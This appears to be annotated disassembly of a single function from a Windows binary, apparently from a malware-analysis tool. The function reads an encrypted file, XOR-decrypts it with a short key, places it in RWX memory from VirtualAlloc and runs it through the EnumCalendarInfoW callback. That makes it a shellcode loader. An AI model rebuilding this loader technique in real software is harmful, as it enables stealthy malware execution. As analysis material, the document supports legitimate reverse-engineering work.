Function at 0x140004c4c
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov ebx, 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
movabs rax, 0x7461642e33323231
mov byte [rsp + 0x38], 0
lea r9d, [rbx + 0x3f]
mov qword [rsp + 0x30], rax
lea r8d, [rbx + 0x1f]
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.140001db8
mov rax, qword [rsp + 0x70]
mov r15d, 0x1000
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x80], 6
je 0x140004d36
lea rdx, str.open_encrypted_file_error:
lea rcx, [0x1400344e0]
call fcn.140001150
cmp qword [rsp + 0x48], 0xf
lea rdx, [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
cmova rdx, qword [rsp + 0x30]
call fcn.140001614
mov rcx, rax
call fcn.140001b18
jmp 0x140004e74
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 2]
call fcn.140004018
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400044ec
xor r8d, r8d
lea rcx, [rsp + 0x70]
xor edx, edx
mov r14, qword [rax + 8]
add r14, qword [rax]
call fcn.140004018
and qword [rsp + 0x60], 0
lea rcx, [rsp + 0x50]
xorps xmm0, xmm0
mov rdx, r14
movdqu xmmword [rsp + 0x50], xmm0
call fcn.140001598
mov rsi, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
mov rdx, rsi
mov r8, r14
call fcn.140003ee8
lea rcx, [rsp + 0x70]
call fcn.140003588
mov eax, dword [str.days]
xor ecx, ecx
mov dword [rbp + 0xb0], eax
mov al, byte [0x1400247a8]
mov byte [rbp + 0xb4], al
test r14, r14
je 0x140004ddd
mov rax, rcx
and eax, 3
mov al, byte [rbp + rax + 0xb0]
xor byte [rcx + rsi], al
add rcx, rbx
cmp rcx, r14
jb 0x140004dc5
mov rcx, r14
call fcn.140006000
mov r8, qword [rsp + 0x58]
mov rdx, rsi
sub r8, rsi
mov rcx, rax
mov rdi, rax
call fcn.140021f90
mov r9d, 0x40
mov r8d, r15d
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r14
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140021f90
mov r9d, 0x15
or r8d, 0xffffffff
mov edx, 0x400
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, rdi
call fcn.140005ff8
xor ebx, ebx
test rsi, rsi
je 0x140004e74
mov rdx, qword [rsp + 0x60]
mov rax, rsi
sub rdx, rsi
cmp rdx, r15
jb 0x140004e6c
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ee5
mov rcx, rsi
call fcn.140005ff8
lea rcx, [rbp + 0x20]
call fcn.1400025d0
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x20], rax
call fcn.140005994
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140004ec6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x140004ec1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ee5
call fcn.140005ff8
lea r11, [rsp + 0x180]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000cc8c
int3